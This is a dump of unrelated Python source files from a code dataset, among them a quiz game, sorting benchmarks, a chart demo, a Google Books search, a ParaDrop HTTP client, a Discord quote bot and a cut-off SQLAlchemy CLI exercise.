self.root.ids[\"lat\"].text()\n lat = float(bl_disp)\n bl_disp = self.root.ids[\"long\"].text()\n lon = float(bl_disp)\n\n s = self.root.ids[\"s\"].value()\n elevation = self.root.ids[\"elevation\"].isChecked()\n\n self.import_osm(\n float(lat),\n float(lon),\n float(s)/10,\n self.root.ids[\"progb\"],\n self.root.ids[\"status\"],\n elevation\n )\n button = self.root.ids[\"runbl1\"]\n button.show()\n br.hide()\n\n def showMap(self):\n \"\"\"\n open a webbrowser window and display\n the openstreetmap presentation of the area\n \"\"\"\n\n bl_disp = self.root.ids[\"lat\"].text()\n lat = float(bl_disp)\n bl_disp = self.root.ids[\"long\"].text()\n lon = float(bl_disp)\n\n # s = self.root.ids[\"s\"].value()\n WebGui.openBrowser(\n \"http://www.openstreetmap.org/#map=16/{}/{}\".format(lat, lon)\n )\n\n def showDistanceOnLabel(self):\n distance = self.root.ids[\"s\"].value()\n showDistanceLabel = self.root.ids[\"showDistanceLabel\"]\n showDistanceLabel.setText(\n \"Distance is {} km.\".format(float(distance)/10)\n )\n\n\n# the gui startup\ndef mydialog():\n \"\"\" starts the gui dialog \"\"\"\n print(\"OSM gui startup\")\n app = MyApp()\n\n my_miki = miki.Miki()\n my_miki.app = app\n app.root = my_miki\n\n from .miki_import_osm import s6\n my_miki.parse2(s6)\n my_miki.run(s6)\n return my_miki\n\n\ndef importOSM():\n mydialog()\n\n\n\"\"\"\n#-----------------\n# verarbeiten\n\nimport xml.etree.ElementTree as ET\n\nfn=\"/home/thomas/.FreeCAD//geodat3/50.340722-11.232647-0.015\"\n#tree = ET.parse(fn)\n\ndata_as_string=''\n \n 1\n 2008\n 141100\n \n \n \n \n 4\n 2011\n 59900\n \n \n \n 68\n 2011\n 13600\n \n \n \n\n''\n\nroot = ET.fromstring(data_as_string)\n\n\nfor element in tree.getiterator(\"node\"):\n print(element.attrib)\n\n\nroot = tree.getroot()\nET.dump(root)\n\nfor elem in root:\n print (elem.tag,elem.attrib)\n#----------------\n\"\"\"\n","sub_path":"GIS2BIM/GIS2BIM_FreeCAD_OSM.py","file_name":"GIS2BIM_FreeCAD_OSM.py","file_ext":"py","file_size_in_byte":16227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"139470990","text":"print(\"welcome to the quiz game :)\")\r\na=input(\"do you want to play: \")\r\nif a.lower()!=\"yes\":\r\n\tquit() \r\nelse:\r\n\tprint(\"All the best , lets play !\")\r\nscore=0\r\nq1=input(\"what CPU stands for? \")\r\nif q1.lower()==\"central processing unit\":\r\n\tscore+=1\r\n\r\nq2=input(\"what RAM stands for? \")\r\nif q2.lower()==\"random access memory\":\r\n\tscore+=1\r\n\r\nq3=input(\"what ROM stands for? \")\r\nif q3.lower()==\"read only memory\":\r\n\tscore+=1\r\n\r\nq4=input(\"what SSD stands for? \")\r\nif q4.lower()==\"solid state drive\":\r\n\tscore+=1\r\n\r\nq5=input(\"what HDD stands for? \")\r\nif q5.lower()==\"hard disk drive\":\r\n\tscore+=1\r\n\r\nprint(\"your score is :\",score)\r\nprint(\"your score percentage is :\" ,(score/5)*100)","sub_path":"Tech quiz game.py","file_name":"Tech quiz game.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"415658633","text":"import time\nimport random\n\ndef insertsort(arr):\n i = 0\n l = len(arr)\n while(i < l):\n temp = arr[i]\n j = i\n while(j > 0 and temp < arr[j - 1]):\n arr[j] = arr[j - 1]\n j -= 1\n arr[j] = temp\n i += 1\n return arr\n\nn = [500, 1000, 1500, 2000, 2500, 3000, 3500, 4000, 4500, 5000]\nindex = 0\nwhile (index < len(n)):\n a = time.time()\n insertsort([random.random() for _ in range(n[index])])\n z = time.time()\n runtime = (z - a)\n print(\"n Value: \" + str(n[index]), \"time: \" + str(runtime))\n index += 1","sub_path":"insertTime.py","file_name":"insertTime.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"557425301","text":"#!/usr/bin/python\nfrom pychartdir import *\nimport cgi, sys\n\n# Get HTTP query parameters\nquery = cgi.FieldStorage()\n\n# This script can draw different charts depending on the chartIndex\nchartIndex = int(query[\"img\"].value)\n\n# The value to display on the meter\nvalue = 74.25\n\n# Create a LinearMeter object of size 250 x 75 pixels with very light grey (0xeeeeee) backgruond and\n# a light grey (0xccccccc) 3-pixel thick rounded frame\nm = LinearMeter(250, 75, 0xeeeeee, 0xcccccc)\nm.setRoundedFrame(Transparent)\nm.setThickFrame(3)\n\n# Set the scale region top-left corner at (14, 23), with size of 218 x 20 pixels. The scale labels\n# are located on the top (implies horizontal meter)\nm.setMeter(14, 23, 218, 20, Top)\n\n# Set meter scale from 0 - 100, with a tick every 10 units\nm.setScale(0, 100, 10)\n\n# Demostrate different types of color scales and putting them at different positions\nsmoothColorScale = [0, 0x6666ff, 25, 0x00bbbb, 50, 0x00ff00, 75, 0xffff00, 100, 0xff0000]\nstepColorScale = [0, 0x33ff33, 50, 0xffff33, 80, 0xff3333, 100]\nhighLowColorScale = [0, 0x6666ff, 70, Transparent, 100, 0xff0000]\n\nif chartIndex == 0 :\n # Add the smooth color scale at the default position\n m.addColorScale(smoothColorScale)\nelif chartIndex == 1 :\n # Add the high low scale at the default position\n m.addColorScale(highLowColorScale)\nelif chartIndex == 2 :\n # Add the smooth color scale starting at y = 43 (bottom of scale) with zero width and ending at\n # y = 23 with 20 pixels width\n m.addColorScale(smoothColorScale, 43, 0, 23, 20)\nelse :\n # Add the step color scale at the default position\n m.addColorScale(stepColorScale)\n\n# Add a blue (0x0000cc) pointer at the specified value\nm.addPointer(value, 0x0000cc)\n\n# Add a label left aligned to (10, 61) using 8pt Arial Bold font\nm.addText(10, 61, \"Temperature C\", \"arialbd.ttf\", 8, TextColor, Left)\n\n# Add a text box right aligned to (235, 61). Display the value using white (0xffffff) 8pt Arial Bold\n# font on a black (0x000000) background with depressed rounded border.\nt = m.addText(235, 61, m.formatValue(value, \"2\"), \"arialbd.ttf\", 8, 0xffffff, Right)\nt.setBackground(0x000000, 0x000000, -1)\nt.setRoundedCorners(3)\n\n# Output the chart\nprint(\"Content-type: image/png\\n\")\nbinaryPrint(m.makeChart2(PNG))\n\n","sub_path":"base_lib/ChartDirector/pythondemo_cgi/whitehlinearmeter.py","file_name":"whitehlinearmeter.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"536237867","text":"import requests\nimport json\n\n\n#\n# Google Books APIs\n#\n\nyour_key = 'A sua chave - ver: https://support.google.com/googleapi/answer/6158857?hl=pt-BR'\n\ndef pesquisa(query):\n try:\n req = requests.get(\n f\"https://www.googleapis.com/books/v1/volumes?q={query}&key={your_key}\")\n dicionario = json.loads(req.text)\n print('\\nLISTA DE LIVROS: \\n')\n for items in dicionario['items']:\n print(' « = » ' * 20, '\\n')\n # VOLUME INFO\n # print(f\"\\033[31mVolume Info:\\033[m {items['volumeInfo']}\")\n\n # TITLE\n print(f\"\\033[31mTitle:\\033[m {items['volumeInfo']['title']}\")\n\n # AUTHORS\n print(f\"\\033[31mAuthors:\\033[m \", end='')\n try:\n for author in items['volumeInfo']['authors']:\n print(f\"{author}\")\n except:\n print('NaN')\n\n # PUBLISHER\n try:\n publisher = items['volumeInfo']['publisher']\n except:\n publisher = 'NaN'\n print(f\"\\033[31mPublisher:\\033[m {publisher}\")\n\n # PUBLISHED DATE\n try:\n publishedDate = items['volumeInfo']['publishedDate']\n except:\n publishedDate = 'NaN'\n print(f\"\\033[31mPublished Date:\\033[m {publishedDate}\")\n\n # DESCRIPTION\n print(f\"\\033[31mDescription:\\033[m\", end=' ')\n try:\n flag = 1\n for text in items['volumeInfo']['description']:\n print(text, end='')\n flag += 1\n if flag % 200 == 0:\n print()\n print()\n except:\n print('NaN')\n print()\n except Exception as e:\n print(f'\\033[31m\"ERRO: {e}\" \\033[m')\n\n\nsair = False\nwhile not sair:\n query = input('Digite o assunto do livro: ')\n pesquisa(query)\n sair = True if input(\"Degite 'sair' para sair da aplicação: \").strip().lower() == 'sair' else False\n print()\n","sub_path":"Curso Python Básico - SOLYD/Aula 13 - API, JSON e consultando listas de filmes/aula13.py","file_name":"aula13.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"374524083","text":"#\n# [315] Count of Smaller Numbers After Self\n#\n# https://leetcode.com/problems/count-of-smaller-numbers-after-self/description/\n#\n# algorithms\n# Hard (35.09%)\n# Total Accepted: 50.4K\n# Total Submissions: 143.5K\n# Testcase Example: '[5,2,6,1]'\n#\n# You are given an integer array nums and you have to return a new counts\n# array. The counts array has the property where counts[i] is the number of\n# smaller elements to the right of nums[i].\n#\n# Example:\n#\n#\n# Input: [5,2,6,1]\n# Output: [2,1,1,0]\n# Explanation:\n# To the right of 5 there are 2 smaller elements (2 and 1).\n# To the right of 2 there is only 1 smaller element (1).\n# To the right of 6 there is 1 smaller element (1).\n# To the right of 1 there is 0 smaller element.\n#\n\n\nclass Solution:\n class BIT:\n def __init__(self, n):\n self.bit = [0]*(n+1)\n\n def update(self, x, v):\n x += 1\n while x < len(self.bit):\n self.bit[x] += v\n x += x & (-x)\n\n def sum(self, x):\n x, res = x+1, 0\n while x > 0:\n res += self.bit[x]\n x -= x & (-x)\n return res\n\n def countSmaller(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n # Binary Indexed Tree\n # Pre-processing\n dic, cnt = dict(), 0\n for n in sorted(nums):\n if n not in dic:\n dic[n] = cnt\n cnt += 1\n # Calculating\n bit = self.BIT(cnt)\n res = []\n for i in range(len(nums)-1, -1, -1):\n bit.update(dic[nums[i]], 1)\n res.append(bit.sum(dic[nums[i]]-1))\n return res[::-1]\n","sub_path":"315.count-of-smaller-numbers-after-self.python3.py","file_name":"315.count-of-smaller-numbers-after-self.python3.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"383645182","text":"'''\n Liliana Varela-Rodriguez\n \n SDEV 220 PYTHON\n \n M02 Programming Exercises 3.4\n \n 01/27/2018\n \n '''\n# 3.4 Geometry: area of a pentagon\n\nimport math\n\nn = eval(input(\"Enter the number of sides on the polygon: \"))\ns = eval(input(\"Enter the length of a side: \"))\n\narea = (n * math.pow(s,2)) / (4 * math.tan(math.pi / n))\n\nprint(\"The area of the polygon is \", area)\n\n# my answer seems off by 1. it maybe the way I decided to write the formula\n","sub_path":"Python/M02/Excersises/3.4.py","file_name":"3.4.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"83210151","text":"from __future__ import print_function\nimport json\nimport pycurl\nimport re\nimport six\nimport urllib\n\nimport twisted\nfrom twisted.internet import reactor, threads\nfrom twisted.internet.defer import Deferred, DeferredLock, DeferredSemaphore\nfrom twisted.internet.protocol import Protocol\nfrom twisted.web.client import Agent, FileBodyProducer, HTTPConnectionPool\nfrom twisted.web.http_headers import Headers\n\nfrom paradrop.base import nexus, settings\n\n\nclass JSONReceiver(Protocol):\n \"\"\"\n JSON Receiver\n\n A JSONReceiver object can be used with the twisted HTTP client\n to receive data from a request and provide it to a callback\n function when complete.\n\n Example (response came from an HTTP request):\n finished = Deferred()\n response.deliverBody(JSONReceiver(finished))\n finished.addCallback(func_that_takes_result)\n\n Some error conditions will result in the callback firing with a result of\n None. The receiver needs to check for this. This seems to occur on 403\n errors where the server does not return any data, but twisted just passes\n us a ResponseDone object the same type as a normal result.\n \"\"\"\n def __init__(self, response, finished):\n \"\"\"\n response: a twisted Response object\n finished: a Deferred object\n \"\"\"\n self.response = response\n self.finished = finished\n self.data = \"\"\n\n def dataReceived(self, data):\n \"\"\"\n internal: handles incoming data.\n \"\"\"\n self.data += data\n\n def connectionLost(self, reason):\n \"\"\"\n internal: handles connection close events.\n \"\"\"\n if reason.check(twisted.web.client.ResponseDone):\n try:\n result = json.loads(self.data)\n except ValueError:\n result = None\n\n self.finished.callback(PDServerResponse(self.response, data=result))\n\n else:\n raise Exception(reason.getErrorMessage())\n\n\ndef urlEncodeParams(data):\n \"\"\"\n Return data URL-encoded.\n\n This function specifically handles None and boolean values\n to convert them to JSON-friendly strings (e.g. None -> 'null').\n \"\"\"\n copy = dict()\n for key, value in six.iteritems(data):\n if value is None:\n copy[key] = 'null'\n elif isinstance(value, bool):\n copy[key] = json.dumps(value)\n else:\n copy[key] = value\n return urllib.urlencode(copy, doseq=True)\n\n\nclass PDServerResponse(object):\n \"\"\"\n A PDServerResponse object contains the results of a request to pdserver.\n\n This wraps twisted.web.client.Response (cannot be subclassed) and exposes\n the same variables in addition to a 'data' variables. The 'data' variable,\n if not None, is the parsed object from the response body.\n \"\"\"\n def __init__(self, response, data=None):\n self.version = response.version\n self.code = response.code\n self.phrase = response.phrase\n self.headers = response.headers\n self.length = response.length\n self.success = (response.code >= 200 and response.code < 300)\n self.data = data\n\n\nclass HTTPResponse(object):\n def __init__(self, data=None):\n self.version = None\n self.code = None\n self.phrase = None\n self.headers = dict()\n self.length = None\n self.success = False\n self.data = data\n\n\nclass HTTPRequestDriver(object):\n def __init__(self):\n self.headers = {\n \"Accept\": \"application/json\",\n \"Connection\": \"keep-alive\",\n \"Content-Type\": \"application/json\",\n \"User-Agent\": \"ParaDrop/2.5\"\n }\n\n def request(self, method, url, body):\n raise Exception(\"Not implemented\")\n\n def setHeader(self, key, value):\n self.headers[key] = value\n\n\nclass CurlRequestDriver(HTTPRequestDriver):\n # Shared curl handle.\n # May have problems due to issue #411.\n # https://github.com/pycurl/pycurl/issues/411\n curl = pycurl.Curl()\n\n # Lock for the access to curl.\n lock = DeferredLock()\n\n code_pattern = re.compile(\"(HTTP\\S*)\\s+(\\d+)\\s+(.*)\")\n header_pattern = re.compile(\"(\\S+): (.*)\")\n\n def __init__(self):\n super(CurlRequestDriver, self).__init__()\n\n # Buffer for receiving response.\n self.buffer = six.StringIO()\n\n # Fill in response object.\n self.response = HTTPResponse()\n\n def receive(self, ignore):\n \"\"\"\n Receive response from curl and convert it to a response object.\n \"\"\"\n data = self.buffer.getvalue()\n\n response = self.response\n\n # Try to parse the content if it's JSON.\n contentType = response.headers.get('content-type', 'text/html')\n if 'json' in contentType:\n try:\n response.data = json.loads(data)\n except Exception:\n print(\"Failed to parse JSON\")\n print(data)\n response.data = data\n else:\n response.data = data\n\n response.success = (response.code >= 200 and response.code < 300)\n return response\n\n def receiveHeaders(self, header_line):\n header_line = header_line.strip()\n\n match = CurlRequestDriver.code_pattern.match(header_line)\n if match is not None:\n self.response.version = match.group(1)\n self.response.code = int(match.group(2))\n self.response.phrase = match.group(3)\n return\n\n match = CurlRequestDriver.header_pattern.match(header_line)\n if match is not None:\n key = match.group(1).lower()\n self.response.headers[key] = match.group(2)\n\n def request(self, method, url, body=None):\n def makeRequest(ignored):\n curl = CurlRequestDriver.curl\n curl.reset()\n\n curl.setopt(pycurl.URL, url)\n curl.setopt(pycurl.HEADERFUNCTION, self.receiveHeaders)\n curl.setopt(pycurl.WRITEFUNCTION, self.buffer.write)\n\n curl.setopt(pycurl.CUSTOMREQUEST, method)\n\n if body is not None:\n curl.setopt(pycurl.POSTFIELDS, body)\n\n headers = []\n for key, value in six.iteritems(self.headers):\n headers.append(\"{}: {}\".format(key, value))\n curl.setopt(pycurl.HTTPHEADER, headers)\n\n d = threads.deferToThread(curl.perform)\n d.addCallback(self.receive)\n return d\n\n def releaseLock(result):\n CurlRequestDriver.lock.release()\n\n # Forward the result to the next handler.\n return result\n\n d = CurlRequestDriver.lock.acquire()\n\n # Make the request once we acquire the semaphore.\n d.addCallback(makeRequest)\n\n # Release the semaphore regardless of how the request goes.\n d.addBoth(releaseLock)\n return d\n\n\nclass TwistedRequestDriver(HTTPRequestDriver):\n # Using a connection pool enables persistent connections, so we can avoid\n # the connection setup overhead when sending multiple messages to the\n # server.\n pool = HTTPConnectionPool(reactor, persistent=True)\n\n # Used to control the number of concurrent requests because\n # HTTPConnectionPool does not do that on its own.\n # Discussed here:\n # http://stackoverflow.com/questions/25552432/how-to-make-pooling-http-connection-with-twisted\n sem = DeferredSemaphore(settings.PDSERVER_MAX_CONCURRENT_REQUESTS)\n\n def receive(self, response):\n \"\"\"\n Receive response from twisted web client and convert it to a\n PDServerResponse object.\n \"\"\"\n deferred = Deferred()\n response.deliverBody(JSONReceiver(response, deferred))\n return deferred\n\n def request(self, method, url, body=None):\n def makeRequest(ignored):\n bodyProducer = None\n if body is not None:\n bodyProducer = FileBodyProducer(six.StringIO(body))\n\n headers = {}\n for key, value in six.iteritems(self.headers):\n headers[key] = [value]\n\n agent = Agent(reactor, pool=TwistedRequestDriver.pool)\n d = agent.request(method, url, Headers(headers), bodyProducer)\n d.addCallback(self.receive)\n return d\n\n def releaseSemaphore(result):\n TwistedRequestDriver.sem.release()\n\n # Forward the result to the next handler.\n return result\n\n d = TwistedRequestDriver.sem.acquire()\n\n # Make the request once we acquire the semaphore.\n d.addCallback(makeRequest)\n\n # Release the semaphore regardless of how the request goes.\n d.addBoth(releaseSemaphore)\n return d\n\n\nclass PDServerRequest(object):\n \"\"\"\n Make an HTTP request to pdserver.\n\n The API is assumed to use application/json for sending and receiving data.\n Authentication is automatically handled here if the router is provisioned.\n\n We handle missing, invalid, or expired tokens by making the request and\n detecting a 401 (Unauthorized) response. We request a new token and retry\n the failed request. We do this at most once and return failure if the\n second attempt returns anything other than 200 (OK).\n\n PDServerRequest objects are not reusable; create a new one for each\n request.\n\n URL String Substitutions:\n router_id -> router id\n\n Example:\n /routers/{router_id}/states -> /routers/halo06/states\n \"\"\"\n\n # Auth token (JWT): we will automatically request as needed (for the first\n # request and after expiration) and store the token in memory for future\n # requests.\n token = None\n\n def __init__(self, path, driver=TwistedRequestDriver, headers={}, setAuthHeader=True):\n self.path = path\n self.driver = driver\n self.headers = headers\n self.setAuthHeader = setAuthHeader\n self.transportRetries = 0\n\n url = nexus.core.info.pdserver\n if not path.startswith('/'):\n url += '/'\n url += path\n\n # Perform string substitutions.\n self.url = url.format(router_id=nexus.core.info.pdid)\n\n self.body = None\n\n def get(self, **query):\n self.method = 'GET'\n if len(query) > 0:\n self.url += '?' + urlEncodeParams(query)\n d = self.request()\n d.addCallback(self.receiveResponse)\n return d\n\n def patch(self, *ops):\n \"\"\"\n Expects a list of operations in jsonpatch format (http://jsonpatch.com/).\n\n An example operation would be:\n {'op': 'replace', 'path': '/completed', 'value': True}\n \"\"\"\n self.method = 'PATCH'\n self.body = json.dumps(ops)\n d = self.request()\n d.addCallback(self.receiveResponse)\n return d\n\n def post(self, **data):\n self.method = 'POST'\n self.body = json.dumps(data)\n d = self.request()\n d.addCallback(self.receiveResponse)\n return d\n\n def put(self, **data):\n self.method = 'PUT'\n self.body = json.dumps(data)\n d = self.request()\n d.addCallback(self.receiveResponse)\n return d\n\n def request(self):\n driver = self.driver()\n if self.setAuthHeader and PDServerRequest.token is not None:\n auth = 'Bearer {}'.format(PDServerRequest.token)\n driver.setHeader('Authorization', auth)\n for key, value in six.iteritems(self.headers):\n driver.setHeader(key, value)\n return driver.request(self.method, self.url, self.body)\n\n def receiveResponse(self, response):\n \"\"\"\n Intercept the response object, and if it's a 401 authenticate and retry.\n \"\"\"\n if response.code == 401 and self.setAuthHeader:\n # 401 (Unauthorized) may mean our token is no longer valid.\n # Request a new token and then retry the request.\n #\n # Watch out for infinite recursion here! If this inner request\n # returns a 401 code, meaning the id/password is invalid, it should\n # not go down this code path again (prevented by check against\n # self.setAuthHeader above).\n authRequest = PDServerRequest('/auth/router', driver=self.driver,\n setAuthHeader=False)\n d = authRequest.post(id=nexus.core.info.pdid,\n password=nexus.core.getKey('apitoken'))\n\n def cbLogin(authResponse):\n if authResponse.success:\n PDServerRequest.token = authResponse.data.get('token', None)\n\n # Retry the original request now that we have a new token.\n return self.request()\n\n else:\n # Our attempt to get a token failed, so give up.\n return PDServerResponse(response)\n\n d.addCallback(cbLogin)\n return d\n\n else:\n return response\n\n @classmethod\n def getServerInfo(c):\n \"\"\"\n Return the information needed to send API messages to the server.\n\n This can be used by an external program (e.g. pdinstall).\n \"\"\"\n info = {\n 'authorization': 'Bearer {}'.format(c.token),\n 'router_id': nexus.core.info.pdid,\n 'server': nexus.core.info.pdserver\n }\n return info\n\n @classmethod\n def resetToken(c):\n \"\"\"\n Reset the auth token, to be called if the router's identity has changed.\n \"\"\"\n c.token = None\n\n\n# Initialize pycurl. Does this do anything?\npycurl.global_init(pycurl.GLOBAL_ALL)\n\n\n# Set the number of connections that can be kept alive in the connection pool.\n# Setting this equal to the size of the semaphore should prevent churn.\nTwistedRequestDriver.pool.maxPersistentPerHost = settings.PDSERVER_MAX_CONCURRENT_REQUESTS\n","sub_path":"paradrop/daemon/paradrop/core/agent/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":13799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"105370426","text":"\"\"\"aula3 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\n\nfrom app import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.home, name='home'),\n path('curso/', views.curso, name='curso'),\n path('cursoDepart/', views.cursospordepart, name=\"cursoDepart\"),\n path('cursoGrau/', views.cursosporgrau, name=\"cursoGrau\"),\n path('cursoAreaCientifica/', views.cursosporareacientifica, name=\"cursoAreaCientifica\"),\n path('cursoLocal/', views.cursosporlocal, name=\"cursoLocal\"),\n path('departamentos/', views.departamentos, name=\"departamentos\"),\n path('areascientificas/', views.areascientificas, name=\"areascientificas\"),\n path('locais/', views.locais, name=\"locais\"),\n path('cursoDetails/', views.cursodetails, name='cursoDetails'),\n]\n","sub_path":"aula3/aula3/aula3/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"400791072","text":"total_seeds = 4\n\nimport matplotlib.pyplot as plt\nimport numpy as np\ndef treat(img):\n nme = img[:]\n img = np.load('figs/'+img)\n print(img.shape, nme)\n if img.ndim==4:\n img = img[0]\n img = img.transpose(1,2,0)\n return img\n\ndef rem(img):\n # img[:, :, 2]= np.zeros((img.shape[0], img.shape[1]))\n # img[:, :, 1]= np.zeros((img.shape[0], img.shape[1]))\n return img\n\ndef show_images(images, path, cols, titles = None):\n \"\"\"Display a list of images in a single figure with matplotlib.\n\n Parameters\n ---------\n images: List of np.arrays compatible with plt.imshow.\n\n cols (Default = 1): Number of columns in figure (number of rows is\n set to np.ceil(n_images/float(cols))).\n\n titles: List of titles corresponding to each image. Must have\n the same length as titles.\n \"\"\"\n # assert((titles is None)or (len(images) == len(titles)))\n n_images = len(images)\n # if titles is None: titles = ['Image (%d)' % i for i in range(1,n_images + 1)]\n fig = plt.figure(figsize=(10,20))\n for n, image in enumerate(images):\n a = fig.add_subplot(np.ceil(n_images/float(cols)), cols, n + 1)\n if image.ndim == 2:\n plt.gray()\n plt.imshow(image)\n a.get_xaxis().set_visible(False)\n a.get_yaxis().set_visible(False)\n # print(sum(image.flatten()))\n a.set_title(titles[n%cols])\n # fig.set_size_inches(np.array(fig.get_size_inches()) * n_images)\n # plt.show()\n\n plt.axis('off')\n plt.savefig(path, bbox_inches='tight',pad_inches = 0 )\n\n\nfor use_bullet in range(1):\n for use_different_targets in range(1):\n for use_distractors_in_sender in range(1):\n images = []\n for i in range(6):\n s, r, s_d, r_d=[], [], [], []\n suff = 'i-{}-seed-{}-daware-{}-difftar-{}-bullet-{}'.format(i, 0, use_distractors_in_sender, use_different_targets, use_bullet)\n try:\n target = treat('target-{}.npy'.format(suff))\n except:\n print('filenot found', 'target-{}.npy'.format(suff))\n break\n dist = treat('dist-{}.npy'.format(suff))\n if use_different_targets:\n target_r = treat('target_r-{}.npy'.format(suff))\n for seed in range(total_seeds):\n suff = 'i-{}-seed-{}-daware-{}-difftar-{}-bullet-{}'.format(i, seed, use_distractors_in_sender, use_different_targets, use_bullet)\n\n heatmap_s = treat('heatmap_s-{}.npy'.format(suff))\n heatmap_r = treat('heatmap_r-{}.npy'.format(suff))\n heatmap_r_d = treat('heatmap_r_d-{}.npy'.format(suff))\n s.append(heatmap_s.copy())\n r.append(heatmap_r.copy())\n r_d.append(heatmap_r_d)\n if use_distractors_in_sender:\n heatmap_s_d = treat('heatmap_s_d-{}.npy'.format(suff))\n s_d.append(heatmap_s_d.copy())\n fac = 0.85\n avg_t_s = np.array(target) + fac*rem(np.mean(s, 0))\n images.append(np.array(avg_t_s))\n\n if use_distractors_in_sender:\n avg_d_s = dist.copy() + fac*rem(np.mean(s_d, 0))\n images.append(avg_d_s.copy())\n if use_different_targets:\n avg_t_r = target_r.copy() + fac*np.mean(r, 0)\n images.append(avg_t_r.copy())\n else:\n avg_t_r = target.copy() + fac*np.mean(r, 0)\n images.append(avg_t_r.copy())\n avg_d_r = dist.copy() + fac*np.mean(r_d, 0)\n images.append(avg_d_r.copy())\n\n base = 3\n titles = ['Sender Target', 'Receiver Target', 'Receiver Distractor']\n if use_distractors_in_sender:\n \tbase+=1\n \ttitles = [titles[0]] + ['Sender Distractor'] + titles[1:]\n if use_different_targets:\n base+=0\n print(base)\n path = 'grid-daware-{}-difftar-{}-bullet-{}'.format(use_distractors_in_sender, use_different_targets, use_bullet)\n try:\n show_images(images, path, base, titles)\n except Exception as e:\n print(e)\n pass\n","sub_path":"handle_viz.py","file_name":"handle_viz.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"19567695","text":"from datetime import datetime\nimport re\n\nimport discord # discord.pyをインポート\nfrom discord.ext import commands # Bot Commands Frameworkのインポート\n\npattern = r\"https://discordapp.com/channels/\\d+/\\d+/\\d+\"\nrepattern = re.compile(pattern)\n\n# コグとして用いるクラスを定義。\nclass Quote(commands.Cog):\n # TestCogクラスのコンストラクタ。Botを受取り、インスタンス変数として保持。\n def __init__(self, bot):\n self.bot = bot\n\n async def quote_message(self, message, guild_id, channel_id, message_id):\n print(guild_id, channel_id, message_id)\n channel = self.bot.get_channel(int(channel_id))\n print(channel)\n if channel is None:\n await message.channel.send(\"メッセージへの権限がありません。\")\n else:\n target = await channel.fetch_message(message_id)\n embed = discord.Embed(description=target.content, timestamp=datetime.now())\n embed.set_author(name=target.author.name, icon_url=target.author.avatar_url)\n embed.set_footer(text=\"via discordbot\")\n await message.channel.send(embed=embed)\n \n @commands.Cog.listener()\n async def on_message(self, message):\n quote = self.bot.get_cog('Quote')\n if quote is not None:\n for match in repattern.finditer(message.content):\n print(f\"quote message: {match.group()}\")\n messages = match.group().split('/')\n print(messages)\n await quote.quote_message(message, *messages[4:])\n\n# Bot本体側からコグを読み込む際に呼び出される関数。\ndef setup(bot):\n bot.add_cog(Quote(bot))","sub_path":"bot2/cogs/quote.py","file_name":"quote.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"142465233","text":"'''\n\nPlease create a new Python application that interfaces with a brand new database.\nThis application must demonstrate the ability to:\n\n - create at least 3 tables\n - insert data to each table\n - update data in each table\n - select data from each table\n - delete data from each table\n - use at least one join in a select query\n\nBONUS: Make this application something that a user can interact with from the CLI. Have options\nto let the user decide what tables are going to be created, or what data is going to be inserted.\nThe more dynamic the application, the better!\n\n\n'''\nimport sqlalchemy\nfrom sqlalchemy.exc import NoSuchTableError, NoSuchColumnError\nimport os\nfrom pprint import pprint\n\ndef menu_select():\n \"\"\"get user to choose their database task\"\"\"\n\n user_menu = {\n 1: 'Create a table.',\n 2: 'Add data to a table.',\n 3: 'Read data from a table.',\n 4: 'Delete data from a table.',\n 6: 'Done.'\n }\n\n for key, value in user_menu.items():\n print(f'{key}. {value}')\n\n user_choice = int(input('// Database Menu\\n// Enter the number of the task you would like to perform:'))\n return user_choice\n\ndef table_column_datatype():\n \"\"\"get title for table and columns; get datatype for columns\"\"\"\n\n # initialize list for titles, datatypes\n column_titles_list = []\n column_datatype_list = []\n\n # define the table\n table_title = input('Enter a title for your table: ')\n while True:\n try:\n column_amount = int(input(f'Enter the number of columns table {table_title.upper()} needs: '))\n break\n except ValueError:\n print('''\n Please enter a number for the amount of columns this table needs.\n ''')\n\n # get the title of the columns\n for num in range(1, column_amount + 1):\n column_title = input(f'Enter a title for Column #{num} in table {table_title.upper()}: ')\n column_titles_list.append(column_title)\n\n # specify the datatype of the columns\n for column in column_titles_list:\n # print datatype menu\n for num, datatype in datatype_dict.items():\n print(f'{num}. {datatype}')\n\n while True:\n try:\n column_datatype = int(input(f'Enter the number corresponding to the datatype that column {column.upper()} requires: '))\n # confirm user entered correct value \n if column_datatype in datatype_dict.keys():\n print(f'''\n Confirmed: Column title = {column.upper()} \n Confirmed: Datatype = 